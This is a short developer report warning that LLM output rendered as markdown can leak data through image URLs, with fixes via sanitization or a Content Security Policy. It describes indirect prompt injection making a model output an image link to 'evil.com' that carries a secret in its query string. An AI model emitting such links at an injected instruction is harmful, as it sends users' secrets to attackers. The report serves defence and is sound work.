Report #38060
[gotcha] LLM outputs rendered as HTML leak data via image src attributes
Sanitize LLM outputs to strip markdown image syntax \!\[...\]\(...\) and HTML tags before rendering in a browser, or use a Content Security Policy \(CSP\) that blocks external image requests.
Journey Context:
Developers often render LLM outputs directly in a web UI using markdown parsers. An attacker uses indirect prompt injection to force the LLM to output \!\[exfil\]\(https://evil.com/log?data=SECRET\). When the user views the response, the browser automatically fetches the image, sending the secret data to the attacker's server. This bypasses network-level exfiltration filters because the data leaves via the user's browser, not the LLM's API call. CSP or output sanitization is required on the rendering layer.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-18T18:21:50.301319+00:00— report_created — created